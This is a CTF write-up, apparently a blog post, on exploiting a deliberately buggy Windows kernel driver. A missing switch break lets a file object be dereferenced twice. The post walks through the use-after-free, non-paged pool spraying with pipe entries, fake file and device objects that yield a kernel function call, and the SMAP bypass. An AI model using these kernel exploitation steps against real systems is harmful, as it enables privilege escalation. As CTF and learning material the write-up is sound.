/..

#CONTENT

#TOP

FileUtility
17 KiB2026-05-15 01:08
exploit.c
18 KiB2026-05-15 01:08
Makefile
483 bytes2026-05-15 01:08
README.mdx
36 KiB2026-05-15 01:08

some platns need a lot of light, so they will grow best near widnows.

I have built a fun little driver that shows you information about files in Windows. Perhaps it can also show you the flag?

Connect to the remote instance using SSH. You get access to an interactive shell on a Windows Server 2025 Core installation with the driver installed and running. You can use SFTP to upload files to the machine as well.

The flag is stored in raw ASCII Text on the disk device "?\PhysicalDrive1". There is no filesystem, the first physical sector contains the flag. You need to escalate privileges to be able to read from raw disk devices (must be NT AUTHORITY\SYSTEM or in the Administrators group). For your convenience, there is also a readflag program at C:\Windows\ReadFlag.exe that reads the first sector and writes it to stdout. It does not give you any special privileges, it's just there to pass the correct parameters for opening the physical disk, since that's hard to do from cmd / powershell.

The handout only contains the sources for the driver and ReadFlag. The full VM image and qemu startscript for local testing can be downloaded here. The files are large (14GB), you should look at the driver source first :) In the VM image that you download you can log into the administrator account using the password Password123!, this is disabled on remote.

____kris <-     author pwn <-   category unknown <-     points 0 <-     solves hard <- difficulty

Disclaimer: I did use ChatGPT to help me solve this challenge (although only through web interface, no codex), since I'm too Linux pilled and Windows makes no sense. My usage was mostly just asking ChatGPT to write me boilerplate code to interact with Windows and looking for interesting blog posts. I did not use AI to write this blog post.

Another Windows kernel challenge :P! Again the vulnerability is pretty simple, but exploitation ends up being pretty complicated. This time the vulnerability is introduced by a buggy custom kernel driver called FileUtility. The driver is very simple, all it does is take an input HANDLE to a file and writes information about the file back to userland. Heres the source code, see if you can spot the bug:

FileUtility/main.cC
// Based off of `sioctl.c` driver example in the WDK

//
// Include files.
//

#include <ntddk.h> // various NT definitions
#include <string.h>
#include "interface.h"



#define DRIVER_FUNC_INSTALL 0x01
#define DRIVER_FUNC_REMOVE 0x02

#define DRIVER_NAME "FileUtilityDriver"

#define NT_DEVICE_NAME L"\\Device\\FileUtility"
#define DOS_DEVICE_NAME L"\\DosDevices\\FileUtility"

#if DBG
#define FILEUTIL_KDPRINT(_x_) \
DbgPrint("FileUtil: ");\
DbgPrint _x_;

#else
#define FILEUTIL_KDPRINT(_x_)
#endif

//
// Device driver routine declarations.
//

DRIVER_INITIALIZE DriverEntry;

_Dispatch_type_(IRP_MJ_CREATE)
_Dispatch_type_(IRP_MJ_CLOSE)
DRIVER_DISPATCH FileUtilityCreateClose;

_Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
DRIVER_DISPATCH FileUtilityDeviceControl;

DRIVER_UNLOAD FileUtilityUnloadDriver;

VOID
PrintIrpInfo(
PIRP Irp
);
VOID
PrintChars(
_In_reads_(CountChars) PCHAR BufferAddress,
_In_ size_t CountChars
);

#ifdef ALLOC_PRAGMA
#pragma alloc_text( INIT, DriverEntry )
#pragma alloc_text( PAGE, FileUtilityCreateClose)
#pragma alloc_text( PAGE, FileUtilityDeviceControl)
#pragma alloc_text( PAGE, FileUtilityUnloadDriver)
#pragma alloc_text( PAGE, PrintIrpInfo)
#pragma alloc_text( PAGE, PrintChars)
#endif // ALLOC_PRAGMA


NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
/*++

Routine Description:
This routine is called by the Operating System to initialize the driver.

It creates the device object, fills in the dispatch entry points and
completes the initialization.

Arguments:
DriverObject - a pointer to the object that represents this device
driver.

RegistryPath - a pointer to our Services key in the registry.

Return Value:
STATUS_SUCCESS if initialized; an error otherwise.

--*/

{
NTSTATUS ntStatus;
UNICODE_STRING ntUnicodeString; // NT Device Name "\Device\FileUtility"
UNICODE_STRING ntWin32NameString; // Win32 Name "\DosDevices\FileUtility"
PDEVICE_OBJECT deviceObject = NULL; // ptr to device object

UNREFERENCED_PARAMETER(RegistryPath);

RtlInitUnicodeString(&ntUnicodeString, NT_DEVICE_NAME);

ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&ntUnicodeString, // Device name "\Device\FileUtility"
FILE_DEVICE_UNKNOWN, // Device type
FILE_DEVICE_SECURE_OPEN, // Device characteristics
FALSE, // Not an exclusive device
&deviceObject); // Returned ptr to Device Object

if (!NT_SUCCESS(ntStatus))
{
FILEUTIL_KDPRINT(("Couldn't create the device object\n"));
return ntStatus;
}

//
// Initialize the driver object with this driver's entry points.
//

DriverObject->MajorFunction[IRP_MJ_CREATE] = FileUtilityCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = FileUtilityCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = FileUtilityDeviceControl;
DriverObject->DriverUnload = FileUtilityUnloadDriver;

//
// Initialize a Unicode String containing the Win32 name
// for our device.
//

RtlInitUnicodeString(&ntWin32NameString, DOS_DEVICE_NAME);

//
// Create a symbolic link between our device name and the Win32 name
//

ntStatus = IoCreateSymbolicLink(
&ntWin32NameString, &ntUnicodeString);

if (!NT_SUCCESS(ntStatus))
{
//
// Delete everything that this routine has allocated.
//
FILEUTIL_KDPRINT(("Couldn't create symbolic link\n"));
IoDeleteDevice(deviceObject);
}


return ntStatus;
}


NTSTATUS
FileUtilityCreateClose(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
/*++

Routine Description:

This routine is called by the I/O system when the FILEUTIL is opened or
closed.

No action is performed other than completing the request successfully.

Arguments:

DeviceObject - a pointer to the object that represents the device
that I/O is to be done on.

Irp - a pointer to the I/O Request Packet for this request.

Return Value:

NT status code

--*/

{
UNREFERENCED_PARAMETER(DeviceObject);

PAGED_CODE();

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return STATUS_SUCCESS;
}

VOID
FileUtilityUnloadDriver(
_In_ PDRIVER_OBJECT DriverObject
)
/*++

Routine Description:

This routine is called by the I/O system to unload the driver.

Any resources previously allocated must be freed.

Arguments:

DriverObject - a pointer to the object that represents our driver.

Return Value:

None
--*/

{
PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
UNICODE_STRING uniWin32NameString;

PAGED_CODE();

//
// Create counted string version of our Win32 device name.
//

RtlInitUnicodeString(&uniWin32NameString, DOS_DEVICE_NAME);


//
// Delete the link from our device name to a name in the Win32 namespace.
//

IoDeleteSymbolicLink(&uniWin32NameString);

if (deviceObject != NULL)
{
IoDeleteDevice(deviceObject);
}



}

NTSTATUS
FileUtilityDeviceControl(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)

/*++

Routine Description:

This routine is called by the I/O system to perform a device I/O
control function.

Arguments:

DeviceObject - a pointer to the object that represents the device
that I/O is to be done on.

Irp - a pointer to the I/O Request Packet for this request.

Return Value:

NT status code

--*/

{
PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length


UNREFERENCED_PARAMETER(DeviceObject);

PAGED_CODE();

irpSp = IoGetCurrentIrpStackLocation(Irp);
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

// OutputBuffer must be present and point to userspace, size needs to be checked by each handler individually to match the desired struct
if (!Irp->UserBuffer || (INT64)Irp->UserBuffer < 0) {
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}


// We know that InputBuffer is a file handle for all handlers. Fetch the actual object now
if (inBufLength) {
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}

HANDLE fileHandle = (HANDLE)irpSp->Parameters.DeviceIoControl.Type3InputBuffer;

PFILE_OBJECT fileObject;
ntStatus = ObReferenceObjectByHandle(fileHandle, FILE_READ_ACCESS, *IoFileObjectType, UserMode, (PVOID*)&fileObject, NULL);
if (!NT_SUCCESS(ntStatus)) goto End;

#define CHECK_AND_CAST_OUTPUT(name, type) \
if (outBufLength != sizeof(type)) { \
ntStatus = STATUS_INFO_LENGTH_MISMATCH; \
ObDereferenceObject(fileHandle); \
goto End; \
} \
type* name = (type*) Irp->UserBuffer; \
memset(name, 0, sizeof(type))

//
// Determine which I/O control code was specified.
//
switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_ACCESS_INFORMATION);

info->ReadAccess = fileObject->ReadAccess;
info->WriteAccess = fileObject->WriteAccess;
info->DeleteAccess = fileObject->DeleteAccess;
ObDereferenceObject(fileObject);
}
case IOCTL_FILEUTIL_METHOD_GET_SHARING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_SHARING_INFORMATION);
info->SharedRead = fileObject->SharedRead;
info->SharedWrite = fileObject->SharedWrite;
info->SharedDelete = fileObject->SharedDelete;

ObDereferenceObject(fileObject);
break;
}
case IOCTL_FILEUTIL_METHOD_GET_CACHING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_CACHING_INFORMATION);

info->HasPrivateCache = !!fileObject->PrivateCacheMap;
if (fileObject->SectionObjectPointer) {
info->HasSectionAsData = !!fileObject->SectionObjectPointer->DataSectionObject;
info->HasSharedCache = !!fileObject->SectionObjectPointer->SharedCacheMap;
info->HasSectionAsImage = !!fileObject->SectionObjectPointer->ImageSectionObject;
}
ObDereferenceObject(fileObject);
break;
}
default:

//
// The specified I/O control code is unrecognized by this driver.
//

ntStatus = STATUS_INVALID_DEVICE_REQUEST;
FILEUTIL_KDPRINT(("ERROR: unrecognized IOCTL %x\n",
irpSp->Parameters.DeviceIoControl.IoControlCode));
ObDereferenceObject(fileObject);
break;
}

End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//

Irp->IoStatus.Status = ntStatus;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return ntStatus;
}

The bug is in the switch statement for the DeviceControl handler. The first case is missing the terminating break statement and falls through into the second case, providing a double deref on the specified fileObject.

FileUtility bugC
 312 
 313 
 314 
 315 
 316 
 317 
 318 
 319 
 320 
 321 
 322 
 323 
 324 
 325 
 326 
 327 
 328 
 329 
 330 
 331 
 332 
 333 
 334 
 335 
 336 
 337 
 338 
 339 
 340 
 341 
 342 
 343 
 344 
 345 
 346 
 347 
 348 
 349 
 350 
 351 
 352 
 353 
 354 
    switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_ACCESS_INFORMATION);

info->ReadAccess = fileObject->ReadAccess;
info->WriteAccess = fileObject->WriteAccess;
info->DeleteAccess = fileObject->DeleteAccess;
ObDereferenceObject(fileObject);
}
case IOCTL_FILEUTIL_METHOD_GET_SHARING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_SHARING_INFORMATION);
info->SharedRead = fileObject->SharedRead;
info->SharedWrite = fileObject->SharedWrite;
info->SharedDelete = fileObject->SharedDelete;

ObDereferenceObject(fileObject);
break;
}
case IOCTL_FILEUTIL_METHOD_GET_CACHING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_CACHING_INFORMATION);

info->HasPrivateCache = !!fileObject->PrivateCacheMap;
if (fileObject->SectionObjectPointer) {
info->HasSectionAsData = !!fileObject->SectionObjectPointer->DataSectionObject;
info->HasSharedCache = !!fileObject->SectionObjectPointer->SharedCacheMap;
info->HasSectionAsImage = !!fileObject->SectionObjectPointer->ImageSectionObject;
}
ObDereferenceObject(fileObject);
break;
}
default:

//
// The specified I/O control code is unrecognized by this driver.
//

ntStatus = STATUS_INVALID_DEVICE_REQUEST;
FILEUTIL_KDPRINT(("ERROR: unrecognized IOCTL %x\n",
irpSp->Parameters.DeviceIoControl.IoControlCode));
ObDereferenceObject(fileObject);
break;
}

#Windows Kernel Debugging

I have only had very basic experience with Windows Kernel debugging, from my work on Lokaltal (another Windows Kernel challenge from the same author). The easiest setup for a Linux host is to setup two Windows VMs. One of the VMs is the challenge VM and the other is needs to run WinDBG.

The first step is to import the challenge VM into VMWare. Take the provided qcow2 rootfs and converting to vmdk with qemu-img convert -f qcow2 -O vmdk rootfs.qcow2 rootfs.vmdk

  1. Create new VM in VMWare
  2. Choose Typical setup
  3. Choose I will install the operating system later
  4. Choose Windows for the guest operating system and Windows 10 x64 for the version
  5. Name the VM whatever
  6. Make the disk as small as possible and choose the single file option
  7. Leave the hardware as-is, since the VMWare defaults match the qemu options (1 core, 2 GB mem)
  8. Edit VM settings, remove the existing disk and add a new Hard Disk, NVMe, from our existing rootfs.vmdk

For my system I have to make sure to start the VMWare networking service or networking won't work at all.

SH
systemctl start vmware-networks
systemctl status vmware-networks

For the WinDBG VM I grabbed a Windows 10 iso from https://www.microsoft.com/en-us/software-download/windows10ISO. The VM setup installations are basically the same, except instead of choosing I will install the operating system later select the downloaded iso file. When prompted for the windows edition choose Windows Home. For the disk its necessary to have an actual disk this time, I chose 24 GB since 16 GB seems to be the absolute minimum and I wanted extra space for WinDBG/tools and pdb downloads. It's also a good idea to change the resource defaults for this machine, I bumped the memory up to 3 GB and cpu cores to 2.

Once the VMs are setup I used the same network debugging setup from Lokaltal. Using the admin creds for the challenge machine network debuggin can be enabled:

SH
bcdedit /debug on
bcdedit /dbgsettings net hostip: port:50000
# Key=2p6egbupzs33e.2nn2u32a1l38f.3fmhphk46k1da.t65p3mp3f08y

To grab the WinDBG VM ip I launched powershell and ran ipconfig. The challenge VM was assigned the ip 172.16.60.132 and the WinDBG VM got 172.16.60.133. These ips are stable and don't change at all which is nice. I wrote the key that the final bcdedit command generates to a file and then scp'd it back to my host machine. This key is necessary to connect to the challenge VM from WinDBG.

It's useful to have the windows ntoskrnl.exe binary for analysis and I scp'd it from the challenge VM: sshpass -p Password123_ scp -q lowpriv@172.16.60.132:'C:/Windows/System32/ntoskrnl.exe' .. Without direct ssh access it would be possible to either set up a VMWare shared folder or mount the rootfs and extract the file directly. To get the pdb file I relied on WinDBG to download the proper file.

  1. Connect WinDBG to the challenge VM
  2. run lm m nt
TEXT
kd> lm m nt
Browse full module list
start             end                 module name
fffff802`883d0000 fffff802`89820000   nt         (pdb symbols)          C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\B65A1E5D9D57D828E82F8C75F19E98571\ntkrnlmp.pdb
  1. Copy it over to my host machine with python -m http.server.

In order for binja to pick up pdb files automatically it needs to be the same name as the exe file, so in this case ntkrnlmp.pdb needs to be renamed to ntoskrnl.pdb to match ntoskrnl.exe.

One of the things that takes getting used to in WinDBG is how they print addresses and that all numbers are assumed to be hex.

#Useful WinDBG Commands

g

Continues execution, similar to continue for gdb.

t

Steps one instruction, stepping into calls. Similar to stepi for gdb.

dt [type] [filter]*

Prints type info

dt [type] [addr] [filter]*

Prints type applied to the resulting address of evaluating [expr] You can also filter for relevant fields. Plus filtering accepts * wildcards.

eb, ew, ed, eq

Commands for editing memory. For example, eb [addr] [val] writes a single byte [val] to [addr].

db, dw, dd, dq

Commands for dumping memory.

qwo, dwo, poi

Functions for dumping memory, can be used in expressions. Qword, dword, pointer. For example: qwo(@rcx) == 0.

dq [addr] [count]?

Similar to tele for gdb. Count can be L[count] to customize amount shown.

u [addr] [count]?

Disassembles code at [addr]. Count can be L[count] to number of instructions.

bp [addr] "command"?

Sets a breakpoint at addr. Optionally accepts a string command that is evaluated when the breakpoint is hit. With this its possible to collection information and optionally continue after hitting the breakpoint. For example, bp ExAllocatePool2 ".if (@rcx == 0x40) { .printf \"Breakpoint hit!\" } .else { gc }". Or bp ExAllocatePool2 ".printf \"Size: %d\", @rcx; gc".

bl

Lists breakpoints.

bc [id]+

Clears breakpoint.

bd [id]+

Disables breakpoint.

be [id]+

Enabled breakpoint.

!pte [vaddr]

Show page table information about a virtual address.

!process

Process information. I commonly use !process 0 1 [name] to search for processes. The first argument is the process selector, -1 is current process and 0 is all. The second argument is the verbosity level, 0 prints minimal info, 1 prints all the process info, 2 will show process and thread info.

.process [addr]

Change the implicit process to the one described by the _EPROCESS structure at [addr].

.thread [addr]

Change the implicit thread to the one described by the _ETHREAD structure at [addr]

!address [addr]?

Show information about an address, similar to xinfo in gdb. Without any arguments it behaves similar to vmmap/pagewalk.

!pool [addr]

Get information about what heap pool an object resides in and adjacent objects in the same page.

!object [addr]

Show information about a Windows Object, needs to have a _OBJECT_HEADER.

!handle [id]

Dump information about a HANDLE for the current process.

!fileobj [addr]

Show information about a Windows _FILE_OBJECT.

#Debugging tricks

One really nice thing about WinDBG is that it will pick up int3 breakpoints in userland code, which is great for debugging userland exploit code. Sometimes it is difficult to remember which int3 breakpoint I've hit in the code, especially after liberally sprinkling them all over my exploit and commenting/uncommenting them. I've found it helpful to differentiate them by placing some marker after them, usually just nop instructions.

C
#define BP(n) asm volatile("int3; .rept " #n "; nop; .endr")

This macro inserts n nops after the int3 to make it recognizable in the debugger. It doesn't scale well but it's easy to switch to some other recognizable sequence.

For cross compilation I use zig version 0.13.0. Why 0.13.0 specifically ? Because I don't like the newer zig version changes :P.

For code completion for Windows headers I use the vscode clangd plugin with a customized .clangd file:

TEXT
CompileFlags:
    Add:
        - "--include-directory=[path to zig]/lib/libc/include/any-windows-any/"
        - "-fdeclspec"

You should always make snapshots of the challenge VM to avoid wasting time waiting for the VM to boot and just go directly to a clean state. This also has an added benefit of effectively disabling KASLR since the kernel will be at the same place every time.

#Exploration

With a double deref bug, the obvious path is to keep a reference to the refcounted object somewhere in the kernel, then uaf it using the double deref it. I first asked GPT for ways to hold a reference to file objects in the kernel, and it recommended using DuplicateHandle. My first attempt was something like this:

  1. CreateFile // HANDLE A, ref=1
  2. DuplicateHandle // HANDLE B, ref=2
  3. trigger FileUtility double deref // ref=1
  4. close HANDLE A // ref=0, freed
  5. access HANDLE B // uaf!

However when I actually tried this I would get a kernel BugCheck on step #4. After a bit of investigation with GPT I found out that Windows _OBJECT has two reference counts, HandleCount and PointerCount, and _FILE_OBJECT inherits _OBJECT through a shared _OBJECT_HEADER. Calling ObDereferenceObject decrements the PointerCount but not the HandleCount, and when PointerCount hits zero the kernel BugChecks if HandleCount is non zero.

While it would be nice to keep a reference to the uafed file through a stale HANDLE, I didn't really see any way around this check. So I asked GPT for ways to keep pointer references to the file object instead of handle references and it suggested using CreateFileMappingW. The new plan is:

  1. CreateFile // HANDLE A, href=1, pref=1
  2. CreateFileMapping // href=1, pref=3
  3. trigger FileUtility double deref twice // href=1, pref=1
  4. close HANDLE A // href=0, pref=0, freed

Here I'll show how I debugged the reference counts. In Windows the HANDLE type is opaque, but its actually just an integer like file descriptors in Linux. You can just cast them directly or use the HandleToLong macro. In my exploit I would print the victim file handle, then look it up in WinDBG. When you hit int3 breakpoints in userland code it will set the implicit process and thread to the one that triggered the breakpoint, so no manual switching is needed.

After CreateFile:

TEXT
kd> !handle 0000000000004154
4154: Object: ffffd08f28392750  GrantedAccess: 0012019f (Inherit) Entry: ffff93819a1f1550
Object: ffffd08f28392750  Type: (ffffd08f24ab64e0) File
    ObjectHeader: ffffd08f28392720 (new version)
        HandleCount: 1  PointerCount: 1
        Directory Object: 00000000  Name: \Users\lowpriv\file_spray_2628_0 {HarddiskVolume3}

After CreateFileMapping:

TEXT
kd> !handle 0000000000004154
4154: Object: ffffd08f28392750  GrantedAccess: 0012019f (Inherit) Entry: ffff93819a1f1550
Object: ffffd08f28392750  Type: (ffffd08f24ab64e0) File
    ObjectHeader: ffffd08f28392720 (new version)
        HandleCount: 1  PointerCount: 32765
        Directory Object: 00000000  Name: \Users\lowpriv\file_spray_2628_0 {HarddiskVolume3}

kd> !trueref ffffd08f28392750
ffffd08f28392750: HandleCount: 1 PointerCount: 32765 RealPointerCount: 3

After triggering FileUtility bug twice:

TEXT
kd> !handle 0000000000004154
4154: Object: ffffd08f28392750  GrantedAccess: 0012019f (Inherit) Entry: ffff93819a1f1550
Object: ffffd08f28392750  Type: (ffffd08f24ab64e0) File
    ObjectHeader: ffffd08f28392720 (new version)
        HandleCount: 1  PointerCount: 32761
        Directory Object: 00000000  Name: \Users\lowpriv\file_spray_2628_0 {HarddiskVolume3}

kd> !trueref ffffd08f28392750
ffffd08f28392750: HandleCount: 1 PointerCount: 32761 RealPointerCount: 1

After CloseHandle:

TEXT
kd> !handle 0000000000004154
4154: free handle, Entry address ffff93819a1f1550, Next Entry ffff93819a1f1570

kd> !pool ffffd08f28392750
Pool page ffffd08f28392750 region is Nonpaged pool
 ffffd08f28392090 size:  190 previous size:    0  (Allocated)  IoSB Process: ffffd08f281813c0
 ffffd08f28392220 size:  190 previous size:    0  (Allocated)  IoSB Process: ffffd08f281813c0
 ffffd08f283923b0 size:  190 previous size:    0  (Allocated)  File
 ffffd08f28392540 size:  190 previous size:    0  (Allocated)  File
*ffffd08f283926d0 size:  190 previous size:    0  (Allocated) *IoSB Process: ffffd08f281813c0
		Pooltag IoSB : Io system buffer, Binary : nt!io
 ffffd08f28392860 size:  190 previous size:    0  (Allocated)  IoSB Process: ffffd08f281813c0
 ffffd08f283929f0 size:  190 previous size:    0  (Allocated)  File
 ffffd08f28392b80 size:  190 previous size:    0  (Allocated)  IoSB Process: ffffd08f281813c0
 ffffd08f28392d10 size:  190 previous size:    0  (Allocated)  File

In this case I've already reclaimed the freed file object chunk, but otherwise you would see that the file is considered to be free. It also tells us that the object is in the non paged pool, which affects the heap spraying primitives available to us.

#Exploitation

Now there are a few options available. Without any direct HANDLE references it is difficult to abuse directly. I considered:

  1. Reallocating the file object as another object and freeing it, converting file object uaf into uaf with some other object
  2. Reallocating the file object as a more privileged file object, similar to DirtyCred in Linux
  3. Reclaiming the file object with a fake file object and attempting to abuse stale references

Option #1 is difficult because the object needs to be the same size and I'm not really familiar with exploitable Windows objects. Also file objects are a special kind of Windows object that has a variable sized header and fixed size object header, which limits the possible objects to reclaim with. Option #2 seemed like a good lead, GPT claimed that Windows doesn't do any extra permission checks past CreateFile and linked blog posts (1, 2) that reference corrupting a files in memory page cache. But eventually I decided not to explore either of these options because I simply didn't know that much about Windows internals or what files to target and wanted to solve this challenge quickly.

This left me with Option #3, reclaiming the file object with some sort of heap spray that gives enough control over the object to convert any stale accesses to privilege escalation. For Lokaltal the target object was in the paged pool and I used WNF spraying combined with pipe attribute spraying to reclaim the chunk, but now the object is in the non paged pool. I asked GPT to find writeups about spraying the non paged pool and one of the results was this: https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/master/readme.md. It describes how to spray arbitrary sized chunks with arbitrary data and without any structure headers in the non paged pool using unbuffered pipe entries, which is a pretty sweet heap spraying technique for exploitation.

CreateFileMapping doesn't actually map any memory, it just creates a _SECTION object and returns a HANDLE. In order to map the file in memory we have to use NtFsMapViewOfSection (essentially equivalent to mmap). Remember that this section handle still holds a stale reference to the freed file somewhere, which we now need to abuse. Although it turns out that NtFsMapViewOfSection doesn't seem to use the file object at all, I reclaimed the file object with a chunk filled with Z and the syscall still completed successfully. Luckily for us, operating systems are pretty lazy, when you ask them to map some memory they will almost always just map the zero page and lazily commit the real pages when the page is faulted. We can test this by just accessing the memory mapped by NtFsMapViewOfSection.

TEXT
Access violation - code c0000005 (!!! second chance !!!)
nt!IoGetRelatedDeviceObject+0x5e:
fffff802`88760eae 488b4008        mov     rax,qword ptr [rax+8]
kd> kv
 # Child-SP          RetAddr               : Args to Child                                                           : Call Site
00 fffffb06`cf3c6808 fffff802`88760999     : fffffb06`cf3c6900 ffffe170`80761fe0 ffffd08f`281847c0 ffffd08f`28184880 : nt!IoGetRelatedDeviceObject+0x5e
01 fffffb06`cf3c6810 fffff802`88695abe     : 00000000`00000001 fffffb06`cf3c6900 ffffd08f`24a60560 ffffd08f`24a60520 : nt!IoPageReadEx+0x79
02 fffffb06`cf3c6870 fffff802`886948bd     : 00000000`00000000 00000000`00000002 00000000`00000001 00000000`00000000 : nt!MiIssueHardFaultIo+0x1ba
03 fffffb06`cf3c68c0 fffff802`886fd17a     : ffff8000`00000000 000001d8`7f970000 00000000`c0033333 ffff9381`944f3af0 : nt!MiIssueHardFault+0x251
04 fffffb06`cf3c6970 fffff802`88a813cb     : 00000000`1decc000 00000000`00004154 0000008c`26fff180 00000000`00000000 : nt!MmAccessFault+0x46a
05 fffffb06`cf3c6ae0 00000000`006cddb0     : 00000000`00004154 000001d8`7f640080 7fffffff`fffffffc 000001d8`7f73531a : nt!KiPageFault+0x38b (TrapFrame @ fffffb06`cf3c6ae0)
06 0000008c`26fff110 00000000`00004154     : 000001d8`7f640080 7fffffff`fffffffc 000001d8`7f73531a 0000008c`26fff16d : 0x6cddb0
07 0000008c`26fff118 000001d8`7f640080     : 7fffffff`fffffffc 000001d8`7f73531a 0000008c`26fff16d 00000000`00000003 : 0x4154
08 0000008c`26fff120 7fffffff`fffffffc     : 000001d8`7f73531a 0000008c`26fff16d 00000000`00000003 0000008c`26fff180 : 0x000001d8`7f640080
09 0000008c`26fff128 000001d8`7f73531a     : 0000008c`26fff16d 00000000`00000003 0000008c`26fff180 00000000`00000000 : 0x7fffffff`fffffffc
0a 0000008c`26fff130 0000008c`26fff16d     : 00000000`00000003 0000008c`26fff180 00000000`00000000 00007ff8`be877f01 : 0x000001d8`7f73531a
0b 0000008c`26fff138 00000000`00000003     : 0000008c`26fff180 00000000`00000000 00007ff8`be877f01 000001d8`7f737fd0 : 0x0000008c`26fff16d
0c 0000008c`26fff140 0000008c`26fff180     : 00000000`00000000 00007ff8`be877f01 000001d8`7f737fd0 00000000`00000034 : 0x3
0d 0000008c`26fff148 00000000`00000000     : 00007ff8`be877f01 000001d8`7f737fd0 00000000`00000034 000101f8`00000001 : 0x0000008c`26fff180
kd> ? @rax
Evaluate expression: 6510615555426900570 = 5a5a5a5a`5a5a5a5a

Finally a kernel crash :D. This confirms the lazy file mapping theory.

I'll skip the boring reverse engineering details, but basically since the crash is accessing an address that is derived from our fake file content and the exact stack trace is available, we end up here:

C
uint64_t IoPageReadEx(struct _FILE_OBJECT* File, struct _MDL* Mdl, int64_t* arg3, struct _KEVENT* Event, struct _IO_STATUS_BLOCK* IOSB,
int32_t arg6, void* arg7)

/* -- snip -- */

struct _DEVICE_OBJECT* Device = IoGetRelatedDeviceObject(File)

Crashing while the kernel attempts to find the device object from our fake file object. Faking the device object as well leads to this:

TEXT
Access violation - code c0000005 (!!! second chance !!!)
nt!IopfCallDriver+0x4e:
fffff802`887613ce 4a8b44c970      mov     rax,qword ptr [rcx+r9*8+70h]
kd> kv
 # Child-SP          RetAddr               : Args to Child                                                           : Call Site
00 fffffb06`cf4c37a0 fffff802`88761353     : ffffd08f`28247480 ffffe100`e5589900 00000000`00000043 ffffd08f`24a60304 : nt!IopfCallDriver+0x4e
01 fffffb06`cf4c37e0 fffff802`88760be6     : ffffd08f`28247080 ffffd08f`24a60450 00000001`00000000 ffffd08f`28247540 : nt!IofCallDriver+0x13
02 fffffb06`cf4c3810 fffff802`88695abe     : 00000000`00000001 fffffb06`cf4c3900 ffffd08f`24a603a0 ffffd08f`24a60360 : nt!IoPageReadEx+0x2c6
03 fffffb06`cf4c3870 fffff802`886948bd     : 00000000`00000000 00000000`00000002 00000000`00000001 00000000`00000000 : nt!MiIssueHardFaultIo+0x1ba
04 fffffb06`cf4c38c0 fffff802`886fd17a     : ffff8000`00000000 000001ca`b1330000 00000000`c0033333 ffff9381`9479c110 : nt!MiIssueHardFault+0x251
05 fffffb06`cf4c3970 fffff802`88a813cb     : 00000000`5bb98300 00000000`00004154 00000049`131ff200 00007ff8`bd753240 : nt!MmAccessFault+0x46a
06 fffffb06`cf4c3ae0 00000000`006eddf0     : 00000000`00004154 000001ca`b11e0080 7fffffff`fffffffc 000001ca`b139531a : nt!KiPageFault+0x38b (TrapFrame @ fffffb06`cf4c3ae0)
07 00000049`131ff010 00000000`00004154     : 000001ca`b11e0080 7fffffff`fffffffc 000001ca`b139531a 00000049`131ff080 : 0x6eddf0
08 00000049`131ff018 000001ca`b11e0080     : 7fffffff`fffffffc 000001ca`b139531a 00000049`131ff080 00000000`00000003 : 0x4154
09 00000049`131ff020 7fffffff`fffffffc     : 000001ca`b139531a 00000049`131ff080 00000000`00000003 00000049`131ff200 : 0x000001ca`b11e0080
0a 00000049`131ff028 000001ca`b139531a     : 00000049`131ff080 00000000`00000003 00000049`131ff200 00000000`00000000 : 0x7fffffff`fffffffc
0b 00000049`131ff030 00000049`131ff080     : 00000000`00000003 00000049`131ff200 00000000`00000000 000001ca`b12d0000 : 0x000001ca`b139531a
0c 00000049`131ff038 00000000`00000003     : 00000049`131ff200 00000000`00000000 000001ca`b12d0000 000001ca`b1397fd0 : 0x00000049`131ff080
0d 00000049`131ff040 00000049`131ff200     : 00000000`00000000 000001ca`b12d0000 000001ca`b1397fd0 00000000`00000050 : 0x3
0e 00000049`131ff048 00000000`00000000     : 000001ca`b12d0000 000001ca`b1397fd0 00000000`00000050 00000001`000c0000 : 0x00000049`131ff200
kd> ? @rcx
Evaluate expression: 4846791580151137091 = 43434343`43434343

Now the crash is at a much more interesting location:

C
uint64_t IopfCallDriver(struct _DEVICE_OBJECT* Device, struct _IRP* arg2)

/* -- snip -- */

return Device->DriverObject->MajorFunction[fn](DeviceObject: Device)

An arbitrary function call from our controlled device object! Now I should mention that all of the payloads up to this point were stored in normal userland stack memory, because Windows doesn't use SMAP. Taking a look at cr4 we can see that the SMAP and SMEP bits are set, but SMAP is disabled because the AC flag is set.

TEXT
kd> ? @cr4
Evaluate expression: 3606136 = 00000000`00370678
/* SMEP is bit 21
   SMAP is bit 20
*/
kd> r
/* -- snip -- */
iopl=0         nv up ei ng nz ac pe cy

